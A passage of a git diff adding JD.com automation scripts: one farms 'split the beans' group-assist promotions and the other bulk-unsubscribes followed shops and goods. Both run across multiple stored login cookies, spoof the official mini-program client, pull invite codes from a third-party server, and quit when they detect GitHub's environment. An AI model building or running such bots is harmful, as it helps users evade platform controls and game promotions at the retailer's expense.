+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.success) {
+ console.log('助力结果:助力成功\n')
+ } else {
+ if (data.resultCode === '9200008') console.log('助力结果:不能助力自己\n')
+ else if (data.resultCode === '9200011') console.log('助力结果:已经助力过\n')
+ else if (data.resultCode === '2400205') console.log('助力结果:团已满\n')
+ else if (data.resultCode === '2400203') {console.log('助力结果:助力次数已耗尽\n');$.canHelp = false}
+ else if (data.resultCode === '9000000') {console.log('助力结果:活动火爆,跳出\n');$.canHelp = false}
+ else console.log(`助力结果:未知错误\n${JSON.stringify(data)}\n\n`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function getUserTuanInfo() {
+ let body = {"paramData": {"channel": "FISSION_BEAN"}}
+ return new Promise(resolve => {
+ $.get(taskTuanUrl("distributeBeanActivityInfo", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data['success']) {
+ $.log(`\n\n当前【赚京豆(微信小程序)-瓜分京豆】能否再次开团: ${data.data.canStartNewAssist ? '可以' : '否'}`)
+ console.log(`assistStatus ${data.data.assistStatus}`)
+ if (data.data.assistStatus === 1 && !data.data.canStartNewAssist) {
+ console.log(`已开团(未达上限),但团成员人未满\n\n`)
+ } else if (data.data.assistStatus === 3 && data.data.canStartNewAssist) {
+ console.log(`已开团(未达上限),团成员人已满\n\n`)
+ } else if (data.data.assistStatus === 3 && !data.data.canStartNewAssist) {
+ console.log(`今日开团已达上限,且当前团成员人已满\n\n`)
+ }
+ if (data.data && !data.data.canStartNewAssist) {
+ $.tuan = {
+ "activityIdEncrypted": data.data.id,
+ "assistStartRecordId": data.data.assistStartRecordId,
+ "assistedPinEncrypted": data.data.encPin,
+ "channel": "FISSION_BEAN"
+ }
+ }
+ $.tuanActId = data.data.id;
+ $.assistNum = data['data']['assistNum'] || 4;
+ $.assistStatus = data['data']['assistStatus'];
+ $.canStartNewAssist = data['data']['canStartNewAssist'];
+ } else {
+ $.tuan = true;//活动火爆
+ console.log(`赚京豆(微信小程序)-瓜分京豆】获取【活动信息失败 ${JSON.stringify(data)}\n`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function openTuan() {
+ let body = {"activityIdEncrypted": $.tuanActId, "channel": "FISSION_BEAN"}
+ return new Promise(resolve => {
+ $.get(taskTuanUrl("vvipclub_distributeBean_startAssist", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data['success']) {
+ console.log(`【赚京豆(微信小程序)-瓜分京豆】开团成功`)
+ $.hasOpen = true
+ } else {
+ console.log(`\n开团失败:${JSON.stringify(data)}\n`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function getAuthorShareCode(url) {
+ return new Promise(resolve => {
+ const options = {
+ url: `${url}?${Date.now()}`, "timeout": 10000, headers: {
+ "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88"
+ }
+ };
+ if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) {
+ const tunnel = require("tunnel");
+ const agent = {
+ https: tunnel.httpsOverHttp({
+ proxy: {
+ host: process.env.TG_PROXY_HOST,
+ port: process.env.TG_PROXY_PORT * 1
+ }
+ })
+ }
+ Object.assign(options, { agent })
+ }
+ $.get(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ } else {
+ $.authorTuanList = $.authorTuanList.concat(JSON.parse(data))
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+async function getRandomCode() {
+ await $.http.get({url: `http://go.chiang.fun/read/zuan/${randomCount}`, timeout: 10000}).then(async (resp) => {
+ if (resp.statusCode === 200) {
+ try {
+ let { body } = resp;
+ body = JSON.parse(body);
+ if (body && body['code'] === 200) {
+ console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码成功\n`);
+ $.body = body['data'];
+ $.body1 = [];
+ $.body.map(item => {
+ $.body1.push(JSON.parse(item));
+ })
+ }
+ } catch (e) {
+ console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码异常:${e}`);
+ }
+ }
+ }).catch((e) => console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码异常:${e}`));
+}
+//======================赚京豆开团===========END=====
+function taskUrl(function_id, body = {}) {
+ return {
+ url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+}
+
+function taskTuanUrl(function_id, body = {}) {
+ return {
+ url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion",
+ headers: {
+ Host: "me-api.jd.com",
+ Accept: "*/*",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ "Accept-Language": "zh-cn",
+ "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&",
+ "Accept-Encoding": "gzip, deflate, br"
+ }
+ }
+ $.get(options, (err, resp, data) => {
+ try {
+ if (err) {
+ $.logErr(err)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === "1001") {
+ $.isLogin = false; //cookie过期
+ return;
+ }
+ if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) {
+ $.nickName = data.data.userInfo.baseInfo.nickname;
+ }
+ } else {
+ $.log('京东服务器返回空数据');
+ }
+ }
+ } catch (e) {
+ $.logErr(e)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_unsubscribe.js b/Task/jd_unsubscribe.js
new file mode 100644
index 0000000..8b2f097
--- /dev/null
+++ b/Task/jd_unsubscribe.js
@@ -0,0 +1,380 @@
+/*
+脚本:取关京东店铺和商品
+更新时间:2021-05-08
+因种豆得豆和宠汪汪以及NobyDa大佬的京东签到脚本会关注店铺和商品,故此脚本用来取消已关注的店铺和商品
+默认:每运行一次脚本全部已关注的店铺与商品
+建议此脚本运行时间在 种豆得豆和宠汪汪脚本运行之后 再执行
+现有功能: 1、取关商品。2、取关店铺。3、匹配到boxjs输入的过滤关键词后,不再进行此商品/店铺后面(包含输入的关键词商品/店铺)的取关
+脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js, 小火箭
+==============Quantumult X===========
+[task_local]
+#取关京东店铺商品
+55 23 * * * jd_unsubscribe.js, tag=取关京东店铺商品, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+===========Loon============
+[Script]
+cron "55 23 * * *" script-path=jd_unsubscribe.js,tag=取关京东店铺商品
+============Surge=============
+取关京东店铺商品 = type=cron,cronexp="55 23 * * *",wake-system=1,timeout=3600,script-path=jd_unsubscribe.js
+===========小火箭========
+取关京东店铺商品 = type=cron,script-path=jd_unsubscribe.js, cronexpr="55 23 * * *", timeout=3600, enable=true
+ */
+const $ = new Env('取关京东店铺和商品');
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+const notify = $.isNode() ? require('./sendNotify') : '';
+
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '';
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {
+ };
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+const jdNotify = $.getdata('jdUnsubscribeNotify');//是否关闭通知,false打开通知推送,true关闭通知推送
+let goodPageSize = $.getdata('jdUnsubscribePageSize') || 20;// 运行一次取消多全部已关注的商品。数字0表示不取关任何商品
+let shopPageSize = $.getdata('jdUnsubscribeShopPageSize') || 20;// 运行一次取消全部已关注的店铺。数字0表示不取关任何店铺
+let stopGoods = $.getdata('jdUnsubscribeStopGoods') || '';//遇到此商品不再进行取关,此处内容需去商品详情页(自营处)长按拷贝商品信息
+let stopShop = $.getdata('jdUnsubscribeStopShop') || '';//遇到此店铺不再进行取关,此处内容请尽量从头开始输入店铺名称
+const JD_API_HOST = 'https://wq.jd.com/fav';
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg('【京东账号一】取关京东店铺商品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ await TotalBean();
+ console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await requireConfig();
+ await jdUnsubscribe();
+ await showMsg();
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+async function jdUnsubscribe() {
+ await Promise.all([
+ goodsMain(),
+ shopMain()
+ ])
+ //再次获取还有多少已关注的店铺与商品
+ await Promise.all([
+ getFollowGoods(),
+ getFollowShops()
+ ])
+}
+
+function showMsg() {
+ if (!jdNotify || jdNotify === 'false') {
+ $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已取消关注店铺】${$.unsubscribeShopsCount}个\n【已取消关注商品】${$.unsubscribeGoodsCount}个\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个\n`);
+ } else {
+ $.log(`\n【京东账号${$.index}】${$.nickName}\n【已取消关注店铺】${$.unsubscribeShopsCount}个\n【已取消关注商品】${$.unsubscribeGoodsCount}个\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个\n`);
+ }
+}
+
+async function goodsMain() {
+ $.unsubscribeGoodsCount = 0;
+ if ((goodPageSize * 1) !== 0) {
+ await unsubscribeGoods();
+ const le = Math.ceil($.goodsTotalNum / 20) - 1 >= 0 ? Math.ceil($.goodsTotalNum / 20) - 1 : 0;
+ for (let i = 0; i < new Array(le).length; i++) {
+ await $.wait(100);
+ await unsubscribeGoods();
+ }
+ } else {
+ console.log(`\n您设置的是不取关商品\n`);
+ }
+}
+
+async function unsubscribeGoods() {
+ let followGoods = await getFollowGoods();
+ if (followGoods.iRet === '0') {
+ if (followGoods.totalNum > 0) {
+ for (let item of followGoods['data']) {
+ console.log(`是否匹配::${item.commTitle.indexOf(stopGoods.replace(/\ufffc|\s*/g, ''))}`)
+ if (stopGoods && item.commTitle.indexOf(stopGoods.replace(/\ufffc|\s*/g, '')) > -1) {
+ console.log(`匹配到了您设定的商品--${stopGoods},不在进行取消关注商品`)
+ break;
+ }
+ let res = await unsubscribeGoodsFun(item.commId);
+ if (res.iRet === 0 && res.errMsg === 'success') {
+ console.log(`取消关注商品---${item.commTitle.substring(0, 20).concat('...')}---成功`)
+ $.unsubscribeGoodsCount++;
+ console.log(`已成功取消关注【商品】:${$.unsubscribeGoodsCount}个\n`)
+ } else {
+ console.log(`取关商品失败:${JSON.stringify(res)}`)
+ console.log(`取消关注商品---${item.commTitle.substring(0, 20).concat('...')}---失败\n`)
+ }
+ await $.wait(1000);
+ }
+ }
+ } else {
+ console.log(`获取已关注商品失败:${JSON.stringify(followGoods)}`);
+ }
+}
+
+function getFollowGoods() {
+ $.goodsTotalNum = 0;
+ return new Promise((resolve) => {
+ const option = {
+ url: `${JD_API_HOST}/comm/FavCommQueryFilter?cp=1&pageSize=20&_=${Date.now()}&category=0&promote=0&cutPrice=0&coupon=0&stock=0&areaNo=1_72_4139_0&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`,
+ headers: {
+ "Host": "wq.jd.com",
+ "Accept": "*/*",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ "Accept-Language": "zh-cn",
+ "Referer": "https://wqs.jd.com/my/fav/goods_fav.shtml?ptag=37146.4.1&sceneval=2&jxsid=15963530166144677970",
+ "Accept-Encoding": "gzip, deflate, br"
+ },
+ }
+ $.get(option, async (err, resp, data) => {
+ try {
+ data = JSON.parse(data.slice(14, -13));
+ if (data.iRet === '0') {
+ $.goodsTotalNum = data.totalNum;
+ console.log(`当前已关注【商品】:${$.goodsTotalNum}个\n`)
+ } else {
+ $.goodsTotalNum = 0;
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ })
+}
+
+function unsubscribeGoodsFun(commId) {
+ return new Promise(resolve => {
+ const option = {
+ url: `${JD_API_HOST}/comm/FavCommDel?commId=${commId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKP&g_ty=ls`,
+ headers: {
+ "Host": "wq.jd.com",
+ "Accept": "*/*",
+ "Connection": "keep-alive",
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': 'https://wqs.jd.com/my/fav/goods_fav.shtml?ptag=37146.4.1&sceneval=2&jxsid=15963530166144677970',
+ 'Cookie': cookie,
+ "Accept-Language": "zh-cn",
+ "Accept-Encoding": "gzip, deflate, br"
+ },
+ }
+ $.get(option, (err, resp, data) => {
+ try {
+ data = JSON.parse(data.slice(14, -13).replace(',}', '}'));
+ // console.log('data', data);
+ // console.log('data', data.errMsg);
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ })
+}
+
+async function shopMain() {
+ $.unsubscribeShopsCount = 0;
+ if ((shopPageSize * 1) !== 0) {
+ await unsubscribeShops();
+ const le = Math.ceil($.shopsTotalNum / 20) - 1 >= 0 ? Math.ceil($.shopsTotalNum / 20) - 1 : 0;
+ for (let i = 0; i < new Array(le).length; i++) {
+ await $.wait(100);
+ await unsubscribeShops();
+ }
+ } else {
+ console.log(`\n您设置的是不取关店铺\n`);
+ }
+}
+
+async function unsubscribeShops() {
+ let followShops = await getFollowShops();
+ if (followShops.iRet === '0') {
+ if (followShops.totalNum > 0) {
+ for (let item of followShops.data) {
+ if (stopShop && (item.shopName && item.shopName.indexOf(stopShop.replace(/\s*/g, '')) > -1)) {
+ console.log(`匹配到了您设定的店铺--${item.shopName},不在进行取消关注店铺`)
+ break;
+ }
+ let res = await unsubscribeShopsFun(item.shopId);
+ if (res.iRet === '0') {
+ console.log(`取消已关注店铺---${item.shopName}----成功`)
+ $.unsubscribeShopsCount++;
+ console.log(`已成功取消关注【店铺】:${$.unsubscribeShopsCount}个\n`)
+ } else {
+ console.log(`取消已关注店铺---${item.shopName}----失败\n`)
+ }
+ await $.wait(1000);
+ }
+ }
+ } else {
+ console.log(`获取已关注店铺失败:${JSON.stringify(followShops)}`);
+ }
+}
+
+function getFollowShops() {
+ $.shopsTotalNum = 0;
+ return new Promise((resolve) => {
+ const option = {
+ url: `${JD_API_HOST}/shop/QueryShopFavList?cp=1&pageSize=20&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKA&g_ty=ls`,
+ headers: {
+ "Host": "wq.jd.com",
+ "Accept": "*/*",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ "Accept-Language": "zh-cn",
+ "Referer": "https://wqs.jd.com/my/fav/shop_fav.shtml?sceneval=2&jxsid=15963530166144677970&ptag=7155.1.9",
+ "Accept-Encoding": "gzip, deflate, br"
+ },
+ }
+ $.get(option, (err, resp, data) => {
+ try {
+ data = JSON.parse(data.slice(14, -13));
+ if (data.iRet === '0') {
+ $.shopsTotalNum = data.totalNum;
+ console.log(`当前已关注【店铺】:${$.shopsTotalNum}个\n`)
+ } else {
+ $.shopsTotalNum = 0;
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ })
+}
+
+function unsubscribeShopsFun(shopId) {
+ return new Promise(resolve => {
+ const option = {
